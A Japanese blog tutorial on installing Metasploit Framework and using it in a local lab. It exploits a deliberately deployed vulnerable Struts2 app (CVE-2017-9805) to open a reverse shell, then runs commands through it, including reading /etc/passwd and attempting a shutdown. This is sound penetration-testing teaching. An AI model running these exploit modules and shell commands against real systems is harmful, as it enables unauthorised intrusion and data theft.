CUBE SUGAR CONTAINER

技術系のこと書きます。

Metasploit Framework でペネトレーションテストを実施する

Metasploit Framework というのはオープンソースのペネトレーションテストツール。 ペネトレーションテストというのは、実際にシステムに対して侵入を試みるなど Exploit を実行するテストを指している。 その成功可否によって、システムが脆弱性の影響を受けるのかが確認できる。 そのため Metasploit Framework には既知の様々な脆弱性に対する Exploit が収録されている。 今回は、このツールを Ubuntu 16.04 LTS にインストールして試してみる。

注意: 不正アクセスとなるため間違っても外部のサーバに対して実行しないこと

環境は次の通り。

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.3 LTS
Release:    16.04
Codename:   xenial
$ uname -r
4.4.0-93-generic

インストール

Metasploit Framework のインストールは、次のようにインストールスクリプトを取得してきて実行するだけで良い。

$ curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
$ chmod 755 msfinstall
$ ./msfinstall
...(snip)...
W: --force-yes is deprecated, use one of the options starting with --allow instead.

どうやら最後に表示される Warning は、とりあえず無視しても大丈夫っぽい。

上記を実行すると Metasploit Framework のパッケージが入る。

$ sudo dpkg -l | grep -i metasploit-framework
ii  metasploit-framework                       4.16.5+20170906092721~1rapid7-1              amd64        The full stack of metasploit-framework

基本的な使い方

Metasploit Framework をインストールすると msfconsole コマンドが使えるようになる。 操作は、このコマンドで起動するシェル上で行う。

$ msfconsole

初回起動時には、次のようにデータベースのセットアップをするか聞かれるので y を入力しておく。

$ msfconsole

 ** Welcome to Metasploit Framework Initial Setup **
    Please answer a few questions to get started.


Would you like to use and setup a new database (recommended)? y

次のようにシェルが表示されれば正常に起動できている。

=[ metasploit v4.16.7-dev-                         ]
+ -- --=[ 1682 exploits - 964 auxiliary - 297 post        ]
+ -- --=[ 498 payloads - 40 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf >

操作方法としては、例えばまず search コマンドで使って収録されている Exploit を検索できる。

msf > search vsftpd

Matching Modules
================

   Name                                  Disclosure Date  Rank       Description
   ----                                  ---------------  ----       -----------
   exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  VSFTPD v2.3.4 Backdoor Command Execution

目当てのものが見つかったら use コマンドで選択する。

msf > use exploit/unix/ftp/vsftpd_234_backdoor

それぞれの Exploit には入力すべきオプションがある。 これは show options コマンドで確認できる。

msf exploit(vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic

上記の例ではオプションの RHOST が必須にもかかわらずデフォルト値のない空欄になっている。

そこで RHOST の値を埋める。

msf exploit(vsftpd_234_backdoor) > set RHOST 192.168.33.11
RHOST => 192.168.56.11

あとは Exploit を実行するだけ。

msf exploit(vsftpd_234_backdoor) > exploit

以上が基本的な使い方の流れとなっている。

使い終わったら exit コマンドでシェルから抜ける。

msf > exit

実際に試してみる

今回は、先日巷をさわがせた Struts2 の脆弱性 S2-052 (CVE-2017-9805) を例に挙げてみる。

まずは Struts2 を動かすサーブレットコンテナとして Tomcat をインストールする。

$ sudo apt-get -y install tomcat

インストールすると、それだけでサービスが起動してくる。

$ sudo systemctl status tomcat7
● tomcat7.service - LSB: Start Tomcat.
   Loaded: loaded (/etc/init.d/tomcat7; bad; vendor preset: enabled)
   Active: active (running) since Tue 2017-09-12 10:45:40 UTC; 20s ago
     Docs: man:systemd-sysv-generator(8)
   CGroup: /system.slice/tomcat7.service
           └─5185 /usr/lib/jvm/default-java/bin/java -Djava.util.logging.config.

続いては、上記のサーブレットコンテナ上で脆弱性のある Struts2 の Web アプリケーションを動かす。 検証環境は、インターネットからアクセスできる範囲に作らないように注意しよう。

脆弱性を含んだ Struts2 のサンプルアプリケーションをダウンロードしてきてデプロイする。 今回の脆弱性は REST Plugin を使っているアプリケーションが影響を受けるので struts2-rest-showcase.war を使えば良い。

$ wget http://ftp.yz.yamagata-u.ac.jp/pub/network/apache/struts/2.5.12/struts-2.5.12-apps.zip
$ sudo apt-get -y install unzip
$ unzip struts-2.5.12-apps.zip
$ sudo cp struts-2.5.12/apps/struts2-rest-showcase.war /var/lib/tomcat7/webapps/

WAR ファイルが展開されていることを確認する。

$ ls /var/lib/tomcat7/webapps/
ROOT  struts2-rest-showcase  struts2-rest-showcase.war

これで準備が整った。 それでは msfconsole コマンドで Metasploit Framework のシェルを立ち上げよう。

$ msfconsole

今回の脆弱性に対応した Exploit の exploit/multi/http/struts2_rest_xstream を選択する。

msf > use exploit/multi/http/struts2_rest_xstream

オプションを確認すると Exploit の実行先として RHOST を設定する必要がありそうだ。

msf exploit(struts2_rest_xstream) > show options

Module options (exploit/multi/http/struts2_rest_xstream):

   Name       Current Setting                  Required  Description
   ----       ---------------                  --------  -----------
   Proxies                                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST                                       yes       The target address
   RPORT      8080                             yes       The target port (TCP)
   SRVHOST    0.0.0.0                          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    8080                             yes       The local port to listen on.
   SSL        false                            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /struts2-rest-showcase/orders/3  yes       Path to Struts action
   URIPATH                                     no        The URI to use for this exploit (default is random)
   VHOST                                       no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Unix (In-Memory)

今回は Exploit を受ける Struts2 のアプリケーションがローカルホストで動作しているのでループバックアドレスを指定する。

msf exploit(struts2_rest_xstream) > set RHOST 127.0.0.1
RHOST => 127.0.0.1

これで必要な設定が済んだ。 exploit コマンドで Exploit を実行しよう。

msf exploit(struts2_rest_xstream) > exploit

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP double handler on 127.0.0.1:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 1IeHfWRzrnKssQOS;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "1IeHfWRzrnKssQOS\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (127.0.0.1:4444 -> 127.0.0.1:46452) at 2017-09-12 10:54:09 +0000

上記で具体的に何をしているかというと、今回使った Exploit に関しては脆弱性を利用してバックドアを開いている。 そして、それに接続したコマンドラインシェルが立ち上がる、という動作になっている。

バックドアのシェル上で Linux のコマンドを打ち込むと、それに対する応答が返ってくる。

uname -a
Linux ubuntu-xenial 4.4.0-93-generic #116-Ubuntu SMP Fri Aug 11 21:17:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

バックドアのプロセスは Tomcat が動作しているプロセスの権限で動作する。 そのため、破壊的な変更を加えるには何らか別の特権昇格が必要かもしれない。 例えばホストをシャットダウンさせようとしても権限がないと言われる。

shutdown -h now
Failed to set wall message, ignoring: Interactive authentication required.
Failed to power off system via logind: Interactive authentication required.
Failed to start poweroff.target: Interactive authentication required.
See system logs and 'systemctl status poweroff.target' for details.
Failed to open /dev/initctl: Permission denied
Failed to talk to init daemon.

とはいえ、情報漏えいについては十分に有効なので致命的な脆弱性だ。

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...(省略)

まとめ

今回はオープンソースのペネトレーションテストツールである Metasploit Framework を使ってみた。 一つ注意すべき点としては Metasploit Framework で攻撃が成立しなかったから、という理由だけで安心しないこと。 本来は影響を受けるのに、何らかの設定の不備で成立しなかっただけに過ぎないという恐れは多いにある。 なので、脆弱性のバックグラウンドや具体的な原理、そして Exploit の内部的な動作までちゃんと理解した上で使う必要がある。 つまり、脆弱性について一通り調べ上げた上で、最終確認に使うための手段といった位置づけで捉えておくと良いんじゃないだろうか。

コンピュータネットワークセキュリティ

コンピュータネットワークセキュリティ